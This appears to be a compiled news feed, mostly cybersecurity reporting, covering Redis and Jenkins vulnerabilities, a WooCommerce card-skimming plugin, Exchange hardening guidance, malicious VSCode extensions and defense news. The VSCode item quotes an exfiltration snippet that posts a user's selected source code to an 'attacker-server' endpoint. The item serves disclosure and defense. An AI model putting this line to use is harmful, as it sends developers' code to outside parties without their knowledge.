-
The open-source command-and-control (C2) framework known as AdaptixC2 is being used by a growing number of threat actors, some of whom are related to Russian ransomware gangs. AdaptixC2 is an emerging extensible post-exploitation and adversarial emulation framework designed for penetration testing. While the server component is written in Golang, the GUI Client is written in C++ QT for
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
The cybersecurity landscape faced a critical threat in early October 2025 with the public disclosure of RediShell, a severe use-after-free vulnerability in Redis’s Lua scripting engine.
Identified as CVE-2025-49844 and dubbed “RediShell” by Wiz researchers, this flaw enables attackers to escape the Lua sandbox restrictions and achieve host-level remote code execution on vulnerable systems.
.webp)
RediShell RCE vulnerability (Source – CriminalIP) The vulnerability stems from cumulative flaws within Redis’s core architecture, affecting installations dating back to around 2012 when the vulnerable code path was initially introduced.
The attack surface proved immediately extensive and concerning. Criminalip analysts identified over 8,500 Redis instances worldwide that remain vulnerable to exploitation as of October 27, 2025.
These instances are directly exposed to the public internet, creating a critical window of opportunity for threat actors employing automated scanning techniques.
In environments where authentication mechanisms remain disabled—a surprisingly common configuration for development and legacy deployments—attackers can deliver malicious Lua scripts without any credential requirements, dramatically lowering the barrier to successful exploitation.
The global distribution of affected systems reveals troubling concentrations in specific regions.
CriminalIP researchers noted that the United States harbors the largest number of vulnerable instances with 1,887 cases, followed by France with 1,324 and Germany with 929 instances, collectively representing over 50 percent of total worldwide exposure.
This geographical clustering suggests either deliberate targeting of specific infrastructure hubs or widespread adoption of unpatched Redis instances across enterprise environments in these regions.
Sandbox Escape and Exploitation Mechanics
The technical foundation of RediShell centers on manipulating Redis’s garbage collection behavior through specially crafted Lua scripts.
An attacker sends a malicious script targeting the use-after-free condition, allowing the script to escape the confines of the Lua sandbox environment.
Once outside the sandbox, the script achieves arbitrary native code execution with the privileges of the Redis process.
The exploitation sequence typically begins with initial compromise through the malicious Lua delivery, followed by sandbox escape, installation of reverse shells or backdoors for persistent access, and subsequent credential theft to facilitate lateral movement across the broader infrastructure.
The vulnerability transforms what appears to be a data caching service into a complete entry point for host compromise.
Organizations operating affected Redis instances without proper authentication or network segmentation face immediate risk of full infrastructure takeover, data exfiltration, and deployment of secondary payloads including cryptominers and ransomware.
Vulnerability Details:-
Attribute Details CVE Identifier CVE-2025-49844 Vulnerability Type Use-After-Free Memory Corruption Affected Component Redis Lua Scripting Engine Severity Critical CVSS Score 9.8 (Network-based, requiring no authentication) Vulnerable Versions Redis 8.2.1 and earlier Attack Vector Network, unauthenticated Public Disclosure Early October 2025 Exposed Instances 8,500+ globally Exploitation Method Malicious Lua script delivery Impact Host-level Remote Code Execution Immediate patching remains the absolute priority. Organizations should upgrade to patched Redis versions immediately as recommended in official security advisories.
For environments where patching faces delays, enabling authentication through AUTH or ACL configurations, restricting network access to port 6379, and disabling Lua execution commands like EVAL and EVALSHA provide interim protection layers.
Continuous monitoring through threat intelligence platforms remains essential for detecting both exposure and exploitation attempts across infrastructure.
Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.
The post RediShell RCE Vulnerability Exposes 8,500+ Redis Instances to Code Execution Attacks appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Video from the Ukrainian military's first-person drones has captivated millions, but the footage offers only a narrow view of a robotics revolution that is reshaping combined-arms warfare.
Air and ground robotic systems in a wide variety of mutually supporting roles are bringing about a true robot military, writes Jack Watling, a senior research fellow for land warfare at the Royal United Services Institute, or RUSI. His new paper traces the evolution of Ukrainian robot doctrine from simple target spotting to coordinated movements by flying and crawling robots that navigate the battlefield and fight alongside humans.
The shift was born of necessity, Watling writes.
“Political developments in Washington interrupted the provision of military–technical assistance, disrupting Ukraine’s ability to coherently plan the equipping of its forces with its international partners. As a result, Ukraine doubled down on a method which delivered results and was under its control: drones,” he writes. “Two dedicated UAV regiments, and two non-standard brigades of the Armed Forces of Ukraine…are pioneering the use of novel equipment,” as in air and ground drones.
Watling also notes that the heavy use of drones by both sides has led to a new way to conceptualize the battlefield. The frontline forces of Ukraine and Russia are generally separated by about 15 kilometers of ground rendered all but impassable by legions of armed UAVs. Ukrainian war planners call this territory the “grey zone” or the “contested zone.” (U.S. Marines call it “close.”) Beyond it lies the “middle zone,” another roughly 15 km where troops muster weapons, sensors, and jammers. And behind that is the “deep zone” where you find drone factories, logistics centers, and “systems that cannot affect the contested zone but may do so in the future,” he writes.
The key to taking grey-zone territory is isolating elements of the enemy’s forces in the middle zone. So Ukrainian forces have learned to use drones to lay mines and traps to slow reinforcement and resupply efforts.
“This is largely done using bomber UAVs. This is then followed up with persistent interdiction missions by [first-person viewer or FPV] drones to prevent attempts to move equipment on foot or on light buggies,” Watling writes.
Once Russian forces are isolated, Ukrainians can mount an assault. Here, too, Ukraine is leading with robotics, which they use “disproportionately” more than the Russians.
“Ukrainian forces have concluded that this is ideally done with weapons mounted on uncrewed ground vehicles (UGVs), as their sustained fire, delivered from outside prepared fighting positions, makes them vulnerable to strike,” he writes.
Troops that push into new territory need fresh supplies, especially materials for fortifying their new positions. Here, too, the Ukrainian military, which lacks Russia’s big logistics formations, has learned to rely on robots.
“Equipment and materials for erecting positions with overhead cover can be delivered to the units by UAVs and UGVs. UGVs are disproportionately used for resupply in Ukraine,” Watling wrote.
Lessons for NATO
Those achievements hold lessons for NATO, according to several people who participated in a recent virtual meeting of government officials and civilian technology experts organised by GLOBSEC. The U.S. and other European militaries are developing new battle-robot concepts around Ukraine’s experiences. NATO and Ukraine recently tested new ways to counter UAVs. This effort, led by the NATO-Joint Analysis, Training And Education Centre, “aims to keep the alliance on the cutting edge and to support Ukraine,” a NATO official said.
More broadly, the war in Ukraine reveals the obsolescence of the way the large militaries of NATO members do many things, from force design to acquisitions to battlefield maneuver. Because enemy drones and sensors can reach so much more deeply into friendly territory, what NATO considers the “rear” isn’t as safe as modern force planning presumes. This argues for planning combat teams that are smaller and more nimble, writes Watling, who adds that military planners should push more command-and-control authority down to the brigade level.
In terms of equipment and vehicles, the paper shows that drone warfare exposes vulnerabilities that designers may not have considered. For instance, if your fancy new combat vehicle has rubber tires it might as well be a hockey goalie with no helmet. What’s most important: buy equipment that’s modular, so that broken parts can be quickly swapped out.
But NATO leaders don’t feel the same urgency to change, one of the participants in the GLOBSEC dialogue said. Limited resources and invading forces galvanized Ukrainian innovation, but alliance members have larger budgets, relatively sophisticated equipment, and no Russian forces on their territory. For example, Ukraine has created a command-and-control architecture that coordinates humans and robots, even under constant electronic warfare attack.
“We don't” have that, the participant said, meaning NATO. “It has a lot to do with our policies, the way we approach sharing [intelligence] and and our dependency on fixed command control systems provided by big, big suppliers.”
NATO members have agreed to expand their defense budgets by the year 2029 and talk about funding innovative companies that are building ground robots and drones. But the participant said that much of the spending is going to established companies, not nimble innovators.
“What I see is that the steering in most European headquarters is still done based on investment budgets,” the participant said. “We just go on buying big stuff. It just continues. and I think that's really the worse part.”
]]>¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
In a timely response to escalating threats against email infrastructure, the Cybersecurity and Infrastructure Security Agency (CISA), alongside the National Security Agency (NSA), Australian Cyber Security Centre (ACSC), and Canadian Centre for Cyber Security, released a comprehensive guide on October 2025 outlining best practices for securing on-premises Microsoft Exchange Servers.
Titled “Microsoft Exchange Server Security Best Practices,” the document emphasizes proactive hardening measures amid persistent attacks on these critical systems, which handle sensitive organizational communications.
This joint effort arrives just weeks after Microsoft ended support for older Exchange versions on October 14, 2025, heightening risks for unpatched environments.
The guide underscores the urgency of adopting a prevention-focused posture, starting with rigorous maintenance of security updates and patching.
Administrators are urged to apply the latest Cumulative Updates (CUs) biannually and monthly security/hotfix patches to counter rapid exploit development by threat actors.
Tools like Microsoft’s Exchange Health Checker and SetupAssist are recommended to verify readiness and facilitate updates, reducing vulnerability exposure over time.
For end-of-life (EOL) servers, immediate migration to Exchange Server Subscription Edition (SE) the only supported on-premises version is critical, with interim isolation from the internet advised if full upgrades are delayed.
Ensuring the Exchange Emergency Mitigation (EM) Service remains enabled is also vital, as it deploys automatic protections like URL Rewrite rules against malicious HTTP requests.
Microsoft Exchange Server Hardening Guide
Beyond patching, the guidance advocates applying established security baselines from providers like DISA, CIS, and Microsoft to standardize configurations across Exchange, Windows, and mail clients.
Enabling built-in defenses such as Microsoft Defender Antivirus, Attack Surface Reduction rules, and application controls like AppLocker fortifies servers against malware and unauthorized executions.
Endpoint Detection and Response (EDR) tools are highlighted for advanced threat visibility, while Exchange’s anti-spam and anti-malware features should be activated to filter malicious emails.
To enhance email authentication, organizations must manually implement the DMARC, SPF, and DKIM standards, potentially via third-party add-ons or gateways.
Authentication and encryption hardening form the core of the recommendations. Configuring Transport Layer Security (TLS) consistently across servers prevents data tampering and impersonation, with Extended Protection (EP) added to thwart adversary-in-the-middle attacks through channel binding.
Shifting from deprecated NTLM to Kerberos and SMB protocols is essential, including auditing legacy usage and preparing for NTLM’s phase-out.
Modern Authentication with multifactor authentication (MFA) via Active Directory Federation Services replaces vulnerable Basic Authentication, while certificate-based signing secures PowerShell serialization.
Additional measures include HTTP Strict Transport Security (HSTS) to enforce HTTPS, Download Domains to mitigate cross-site request forgery, and role-based access control (RBAC) with split permissions to enforce least privilege, limiting admin access to dedicated workstations. Detecting P2 FROM header manipulations adds a layer against email spoofing.
This guide aligns with Zero Trust principles, promoting deny-by-default access, minimizing attack surfaces, and continuous evaluation to safeguard email integrity. While not exhaustive, it complements incident response planning and hybrid-specific directives like CISA’s Emergency Directive 25-02.
As Exchange remains a prime target, evidenced by past exploits like HAFNIUM and recent zero-days, organizations, especially in critical sectors, must prioritize these steps to avert breaches.
The authoring agencies stress that unhardened servers pose imminent risks, urging swift implementation to protect against data extortion, ransomware, and espionage.
Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.
The post CISA Releases Best Security Practices Guide for Hardening Microsoft Exchange Server appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A sophisticated malware campaign has emerged targeting WordPress e-commerce sites, particularly those leveraging the WooCommerce plugin to process customer transactions.
The threat, discovered in August 2025, demonstrates advanced evasion capabilities combined with multi-tiered credit card harvesting mechanisms designed to bypass conventional security detection methods.
The malware operates as a rogue WordPress plugin featuring custom encryption protocols, fake image files concealing malicious payloads, and a persistent backdoor infrastructure enabling attackers to deploy additional code on demand.
Installation requires administrator-level access, typically obtained through compromised credentials or insecure plugins.
Once activated, the malware remains hidden from the WordPress plugin directory, minimizing detection risks while establishing tracking cookies and logging administrator information across the affected site.
Wordfence analysts identified and cataloged the malware after receiving a comprehensive sample on August 21, 2025.
Four detection signatures were developed and released to Wordfence Premium, Care, and Response customers between August 27 and September 9, 2025, with free users receiving signatures following the standard 30-day delay.
The threat represents a significant risk to online merchants and their customers, as the malware captures and exfiltrates sensitive payment data systematically.
Advanced Persistence and Command-and-Control Infrastructure
The malware establishes resilience through multiple redundancy layers. It intercepts WordPress user credentials during login using the wp_authenticate_user filter and wp_login action hooks, exfiltrating this data to attacker-controlled servers.
The payload injection mechanism operates through fake PNG image files containing reversed and encoded JavaScript, deployed across three distinct files: a custom payload updated via AJAX backdoor, a dynamic payload refreshed daily, and a fallback static copy.
The JavaScript skimmer activates on WooCommerce checkout pages using a three-second delay to avoid form conflicts. It attaches event listeners to capture card numbers, expiry dates, and CVV values, subsequently transmitting this information back through AJAX POST requests.
The PHP exfiltration component implements multiple fallback mechanisms—native cURL, file_get_contents, system shell curl, and email delivery—ensuring data reaches attackers across diverse server environments.
Analysis connects the malware to Magecart Group 12, supported by the SMILODON identifier found in command-and-control server URLs and coding patterns matching previous threat actor activities.
The campaign underscores the persistent threat landscape for WordPress e-commerce platforms and the critical importance of maintaining updated security infrastructure and monitoring systems.
Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.
The post New Malware Targeting WooCommerce Sites with Malicious Plugins Steals Credit Card Data appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
·
Alert: Trump wants to resume nuclear weapons testsPresident Donald Trump says he’s ordered the military to begin testing nuclear weapons “immediately,” which would break a 33-year pause in U.S. and Pentagon policy going back to the end of the Cold War.
“The United States has more Nuclear Weapons than any other country,” the president wrote on social media Wednesday. “Russia is second, and China is a distant third, but will be even within 5 years. Because of other countries[’] testing programs, I have instructed the Department of War to start testing our Nuclear Weapons on an equal basis. That process will begin immediately. Thank you for your attention to this matter!”
What does “equal basis” testing mean? It’s not entirely clear, but it’s a possible reference to relatively recent Russian tests of experimental weapons like its Burevestnik nuclear-armed cruise missile or its allegedly nuclear-capable remote torpedo—both of which Putin says Russia tested (but did not detonate) this month.
By the way, at least one open-source researcher spotted suspected recent Russian military maneuvers likely related to the Burevestnik test, and shared their findings online here.
And in case you missed it, we flagged on Monday that “Russia continues to issue explicit nuclear threats as part of a multi-pronged effort seeking to deter continued U.S. pressure on Russia and support for Ukraine,” as analysts at the Washington-based Institute for the Study of War noted Sunday.
Last time Russia and China detonated nuclear weapons? 1990 for Moscow, which was the Soviet Union at the time; and 1996 for China. France tested a nuclear weapon in 1996 as well. India and Pakistan conducted two tests each in 1998. And North Korea tested weapons in 2006, 2009, 2013, twice in 2016, and again in 2017. The Pentagon last detonated a nuclear weapon in 1992.
Why test now? “To gather information—or to send a signal,” Reuters writes. However, the signaling element is arguably most notable in 2025, 33 years since the U.S. last conducted its own nuclear test. To do so again “would be seen in Russia and China as a deliberate assertion of U.S. strategic power,” and almost certain to trigger a follow-up demonstration by Russian leader Vladimir Putin, who “has repeatedly warned that if the United States resumed nuclear testing, Russia would too,” Reuters reports.
Worth noting: Trump has authorized bomber overflights of the Venezuelan coast this month as the U.S. military adds to its troop buildup in the Caribbean Sea. That buildup already features more naval vessels than at any time since the Cuban missile crisis in the early 1960s. Critics say it appears Trump is on the verge of authorizing a new war to oust Venezuelan dictator Nicholas Maduro.
- For what it’s worth, Trump’s approval rating is at an all-time low, according to fresh polling data from YouGov/The Economist.
The nuclear club: China ranks third worldwide with around 600 warheads. France is next with 290, followed by the United Kingdom with 225, India with 180, Pakistan with 170, Israel is believed to have 90, and North Korea is estimated to have around 50, according to the Federation of American Scientists.
And one other tangential development: Trump announced Wednesday that a new nuclear-powered submarine for South Korea will be built at a Korean-owned shipyard in Philadelphia. “Shipbuilding in our Country will soon be making a BIG COMEBACK. Stay tuned!!!” the president wrote in a short message on social media during his trip this week to Asia.
ICYMI: The maritime strategist to the previous Navy Secretary has thoughts on Trump’s approach to shipbuilding. Read that, here.
Welcome to this Thursday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson with Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1961, the Soviet Union tested the world’s most powerful nuclear weapon to date—the fusion “Tsar Bomba,” whose shockwave was so intense it circled the globe three times.
Around the Defense Department
At least three key Republican lawmakers pushed back on a White House plan to reduce U.S. troop levels in Eastern Europe. According to Reuters reporting Wednesday, “Between 1,000 and 1,200 U.S. troops rotated out [of Romania's Mihail Kogalniceanu air base] a month ago and will not be replaced.”
Those troops are with the 2nd Infantry Brigade Combat Team of the 101st Airborne Division, officials at U.S. Army Europe and Africa announced Wednesday. “This is not an American withdrawal from Europe or a signal of lessened commitment to NATO and Article 5. Rather this is a positive sign of increased European capability and responsibility,” the command said in its statement.
“We strongly oppose the decision not to maintain the rotational U.S. brigade in Romania and the Pentagon’s process for its ongoing force posture review that may result in further drawdowns of U.S. forces from Eastern Europe,” Armed Services Committee Chairman Rep. Mike Rogers, R-Ala., and Sen. Roger Wicker, R-Miss., said in a lengthy joint statement Wednesday.
“It is concerning that Congress was not consulted in advance of this decision, particularly given the clear, bipartisan, and bicameral support for a robust U.S. posture in Europe expressed in both the House and Senate versions of the FY26 National Defense Authorization Act,” the two men wrote. “The legislation also makes clear the Congressional intent that no modifications be made to the U.S. posture in Europe absent a thorough review process.”
“This decision also sends the wrong signal to Russia at the very moment President Trump is applying pressure to force Vladimir Putin to come to the table to achieve a lasting peace in Ukraine,” Rogers and Wicker warned. “The President is right that U.S. force posture in Europe needs to be updated as NATO shoulders additional burdens and the character of warfare changes. But that update must be coordinated widely both within the U.S. government and with NATO,” they added.
“If you have to say it’s not ‘a signal of lessened commitment,’ then it probably is,” said Sen. Mitch McConnell, R-Ky., in his own statement Wednesday. “Training with allies is more extensive and less expensive than garrisoning at home. Retreating from Europe doesn’t advance deterrence in the Indo-Pacific, because Russia and China are working together to undermine us. If we’re serious about deterring them, we should be working more closely, not less, with allies and partners.”
Related: “Republican voters back sending Tomahawk missiles to Ukraine,” Semafor reported Thursday citing new survey results.
Developing: Trump’s Pentagon chief wants to “overhaul” how the U.S. sells weapons to allies, Politico reported Wednesday ahead of a planned speech by Defense Secretary Pete Hegseth early next month. The plan is expected to move the military’s arms-export personnel in the Defense Security Cooperation Agency from “the policy side of the building…to the acquisition and sustainment shop,” which is led by Under Secretary of Defense for Acquisition and Sustainment Michael Duffey.
“Defense industry groups have pushed for such a merger,” Politico writes, cautioning, “It’s unclear how the Trump administration’s expected changes would mesh with separate acquisition reform proposals in the House and Senate versions of annual defense policy legislation. A compromise bill is expected to pass before the end of the year.” More, here.
New: Trump recently removed a rear admiral as chief of naval research and replaced him with “a 33-year-old former DOGE employee with no apparent naval experience,” the Bulwark reported Thursday.
Out: Rear Adm. Kurt Rothenhaus.
In: “Rachel Riley, a former partner at McKinsey & Company and Rhodes Scholar recipient who has been serving since January in a DOGE-related roles inside the Trump administration,” Joe Perticone of the Bulwark reports. More behind a subscriber wall, here.
Developing: The Marine Corps is tweaking its Force Design 2030 plan as it enters the second half of its post-Global War on Terror transformation this month, releasing an update for 2025 after skipping 2024, Defense One’s Meghann Myers reported Wednesday. That includes putting on hold plans to stand up a third Marine Littoral Regiment, the service’s new shallow-water unit concept, which had been planned for Guam.
Panning out: The Corps is evolving how it sees itself in more than one way, according to the Force Design update, and will codify that with a new “capstone concept.” That concept “will connect our operational ideas and state clearly what the Marine Corps provides to Naval and Joint Force: a globally responsive, lethal, and resilient combined-arms naval expeditionary force that projects power from sea to land and land to sea, fighting as a Marine Air Ground Task Force across all domains in contested environments to deter, deny, and defeat adversaries,” the update says.
Forecast: The concept is in staffing and on track to be released in a matter of months, said Marine spokesman Lt. Col. Eric Flanagan. Read more, here.
A new report to Congress pitching the Air Force’s 10-year fighter jet plan is missing key details and explanations, raising questions and concerns among defense experts, Defense One’s Thomas Novelly reported Wednesday. The long-term plan was ordered up by the 2025 National Defense Authorization Act. This initial version was due six months ago; new editions are required every April through 2029. Defense One obtained a copy of the unclassified version of the report.
The gist: The 24-page document details Air Force Secretary Troy Meink’s support of the interim defense strategy’s mandate “to protect the homeland, deter our adversaries, and project decisive airpower” by purchasing more F-15EXs, F-35s and F-47 aircraft. The report sets an ambitious goal of having nearly 1,400 tactical aircraft by 2030 but says the service does not have “total obligation authority” to place the necessary orders. The document also said the service needs a total of 1,558 manned tactical aircraft to “achieve low risk to resourcing, executing and sustaining combat operations.”
It’s unclear how the Air Force will reach those goals, said Todd Harrison, a defense budgeting expert at the American Enterprise Institute. He added the report didn’t include info from the Future Years Defense Program, the Pentagon’s five-year budget plan. “One thing that stood out to me is it doesn't have actual tables in the unclassified document showing the force plans in the future,” Harrison said. “It doesn't even show the FYDP plans.” Continue reading, here.
And in industry developments, House Armed Services committee members are begging Boeing leaders to negotiate with 3,200 union workers and end a nearly-three-month strike at the company’s fighter jet and munitions factories in St. Louis, Novelly reported separately.
In a letter published Wednesday, the bipartisan group of 17 HASC members also expressed alarm at reports that the company has been accelerating efforts to hire non-union workers instead. “For more than 80 days, including with the assistance of federal mediation, both sides have yet to come to terms on a new contract,” the letter said. “[W]e are concerned by recent reports that Boeing Defense has inquired on hiring permanent replacements for striking workers in manufacturing roles…we are urging both sides to come back to the table to negotiate to conclude this ongoing, disruptive strike.”
However, company leaders continued to seem unbothered by the labor dispute. Boeing CEO Kelly Ortberg said Wednesday during the company’s third-quarter earnings call that production on Joint Direct Attack Munitions, the Air Force’s T-7A trainer, and the Navy’s MQ-25 unmanned aerial refueler continued during the strike. A Boeing spokesperson did not immediately respond to a request for comment on Wednesday about the Congressional letter and more details about the strike’s effects on other defense programs such as the company’s F-15EX, F/A-18, and F-47 fighter jets. Read more, here.
Additional reading:
- “Trump nominee at U.S. export bank withdraws amid scrutiny of Russia ties,” the Washington Post reported Wednesday;
- “ICE and CBP Agents Are Scanning Peoples’ Faces on the Street To Verify Citizenship,” 404 Media reported Wednesday;
- “Camouflaging cars and swapping license plates: How agents make immigration arrests,” NPR reported Wednesday;
- And “A Confederate statue is restored as part of Trump’s efforts to reshape how history is told,” AP reported Wednesday from Washington.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A severe vulnerability disclosed in Chromium’s Blink rendering engine can be exploited to crash many Chromium-based browsers within a few seconds. Security researcher Jose Pino, who disclosed details of the flaw, has codenamed it Brash. “It allows any Chromium browser to collapse in 15-60 seconds by exploiting an architectural flaw in how certain DOM operations are managed,” Pino said in a
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A recent discovery has shaken the Visual Studio Code (VSCode) ecosystem, unveiling a sophisticated supply chain attack targeting developers worldwide.
At least a dozen malicious extensions were identified in the official VSCode Marketplace, with four remaining active as of the time of reporting.
These plugins, some disguised as legitimate productivity tools, infiltrated developer environments, laying the groundwork for large-scale data exfiltration and credential theft.
The growing reliance on IDE plugins and AI-powered code assistants has inadvertently broadened the attack surface, making such platforms appetizing targets for sophisticated attackers.
The incident’s scope underscores the fragility of the software supply chain. Once installed, these extensions possess extensive access, enabling them to silently pilfer project code, sensitive data, and even clipboard contents.
In several cases, the malicious payloads established persistent connections with attacker-controlled servers, effectively acting as covert backdoors within trusted coding environments.
Notably, HelixGuard researchers were the first to identify the coordinated nature of these attacks, highlighting that certain plugins—such as Christine-devops1234.scraper and Kodease.fyp-23-s2-08—leveraged various exfiltration techniques ranging from simple HTTP POST requests to persistent socket connections.
HelixGuard analysts uncovered that some variants actively monitored user code, configuration files, and even environment variables.
One plugin, for example, repeatedly invoked functions like
document.getText(selection)to harvest selected source code, transmitting the results via HTTP to remote endpoints:-let code = document.getText(selection); code = code.split(" ").join("").toLowerCase(); axios.post('https://attacker-server/app', { code })By embedding such routine data collection in seemingly harmless background tasks, the extensions evade most basic security scans.
While these is a typical infection chain that captures the stages from plugin installation to active data exfiltration and remote command execution.
This campaign’s sophistication spotlights the pressing need for heightened vigilance, rigorous plugin vetting, and real-time marketplace monitoring among developer communities.
Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.
The post 12 Malicious Extension in VSCode Marketplace Steal Source Code and Exfiltrate Login Credentials appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
The Jenkins project released Security Advisory 2025-10-29 on October 28, 2025, disclosing multiple vulnerabilities across 13 plugins that power the popular open-source automation server.
These flaws range from high-severity authentication bypasses to permission misconfigurations and credential exposures, potentially exposing enterprise CI/CD pipelines to unauthorized access and code execution.
While fixes are available for two critical issues in the SAML and MCP Server plugins, most others remain unresolved, urging immediate updates where possible and vigilant monitoring.
The advisory highlights a replay vulnerability in the SAML Plugin (SECURITY-3613, CVE-2025-64131), rated high severity with a CVSS score of 7.5.
Versions up to 4.583.vc68232f7018a_ lack a replay cache, enabling attackers who intercept SAML authentication flows such as through network sniffing or man-in-the-middle attacks to replay requests and impersonate users.
This could grant full access to Jenkins instances handling sensitive builds, especially in federated environments using single sign-on.
The fix in version 4.583.585.v22ccc1139f55 introduces a replay cache to block duplicates, a straightforward mitigation that administrators should prioritize.
Complementing this, the MCP Server Plugin suffers from missing permission checks (SECURITY-3622, CVE-2025-64132), a medium-severity issue (CVSS 5.4) affecting versions up to 0.84.v50ca_24ef83f2.
Attackers with basic Item/Read access can extract SCM configurations, trigger unauthorized builds, or list cloud setups without proper privileges via tools like getJobScm, triggerBuild, and getStatus.
This escalates risks in multi-user setups, allowing lateral movement within Jenkins. Updating to 0.86.v7d3355e6a_a_18 enforces these checks, closing the gap effectively.
Widespread CSRF, XXE, and Credential Exposures
Beyond these, the advisory uncovers a cluster of medium- to high-severity flaws in other plugins, including CSRF vulnerabilities and improper credential handling.
For instance, the Extensible Choice Parameter Plugin (SECURITY-3583, CVE-2025-64133) exposes a CSRF endpoint (CVSS 4.3) that lets unauthenticated users execute sandboxed Groovy code via tricked interactions, with no fix yet available.
Similarly, the JDepend Plugin’s outdated XML parser (SECURITY-2936, CVE-2025-64134, CVSS 7.1) enables XXE attacks for secret extraction or SSRF when processing crafted reports.
Credential storage issues plague several plugins: OpenShift Pipeline (CVE-2025-64143), ByteGuard Build Actions (CVE-2025-64144), and Curseforge Publisher (CVE-2025-64146) all save tokens or API keys in plain text within job config.xml files, viewable by users with Extended Read access (CVSS 4.3 each).
The azure-cli Plugin goes further with shell command injection (SECURITY-3538, CVE-2025-64140, CVSS 8.8), allowing arbitrary controller execution for those with Item/Configure rights no fix in sight.
Plugins like Themis, Start Windocks Containers, Nexus Task Runner, and Publish to Bitbucket also feature CSRF and missing checks that could leak credentials or connect to malicious URLs (CVSS 4.3–5.4).
The Eggplant Runner Plugin disables a Java HTTP auth protection (SECURITY-3326, CVE-2025-64135, CVSS 5.9), reintroducing risks from CVE-2016-5597.
Mitigations
These vulnerabilities underscore Jenkins’ expansive plugin ecosystem’s double-edged sword: versatility at the cost of security if not maintained.
With over 1,800 plugins, unpatched instances in corporate networks could face exploitation chains, from auth bypass to RCE, amplifying supply chain threats in software development.
No exploits in the wild are reported yet, but the advisory’s timing aligns with rising CI/CD attacks.
CVE ID Plugin Severity (CVSS v3.1) Affected Versions Description Summary Fixed? CVE-2025-64131 SAML High (7.5) ≤4.583.vc68232f7018a_ Replay attack in auth flow Yes (4.583.585.v22ccc1139f55) CVE-2025-64132 MCP Server Medium (5.4) ≤0.84.v50ca_24ef83f2 Missing permission checks for tools Yes (0.86.v7d3355e6a_a_18) CVE-2025-64133 Extensible Choice Medium (4.3) ≤239.v5f5c278708cf CSRF enabling Groovy execution No CVE-2025-64134 JDepend High (7.1) ≤1.3.1 XXE via outdated XML parser No CVE-2025-64135 Eggplant Runner Medium (5.9) ≤0.0.1.301.v963cffe8ddb_8 Disables Java auth protection No CVE-2025-64136/64137 Themis Medium (4.3) ≤1.4.1 CSRF & missing check for URL connect No CVE-2025-64138/64139 Windocks Containers Medium (4.3) ≤1.4 CSRF & missing check for URL connect No CVE-2025-64140 azure-cli High (8.8) ≤0.9 Arbitrary shell command injection No CVE-2025-64141/64142 Nexus Task Runner Medium (4.3) ≤0.9.2 CSRF & missing check for URL/cred connect No CVE-2025-64143 OpenShift Pipeline Medium (4.3) ≤1.0.57 Plain text token storage No CVE-2025-64144/64145 ByteGuard Build Actions Medium (4.3) ≤1.0 Plain text API token storage & masking No CVE-2025-64146/64147 Curseforge Publisher Medium (4.3) ≤1.0 Plain text API key storage & masking No CVE-2025-64148 Publish to Bitbucket Medium (4.3) ≤0.4 Enumerates credential IDs No CVE-2025-64149/64150 Publish to Bitbucket Medium (5.4) ≤0.4 CSRF & missing check for URL/cred capture No Organizations should audit plugins, apply SAML and MCP fixes immediately, disable unused ones, and enable CSRF protections. The Jenkins team credits reporters for proactive disclosure, emphasizing community vigilance in this foundational tool.
Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.
The post Multiple Jenkins Vulnerability SAML Authentication Bypass And MCP Server Plugin Permissions appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
The cybersecurity landscape continues to shift toward cloud-based attacks, with threat actors increasingly exploiting legitimate security tools for malicious reconnaissance. AzureHound, a penetration testing utility designed for authorized security professionals, has become a weapon of choice for attackers seeking to understand and compromise Azure and Microsoft Entra ID environments. Understanding the Threat AzureHound is a […]
The post Threat Actors Abuse AzureHound Tool to Enumerate Azure and Entra ID Environments appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
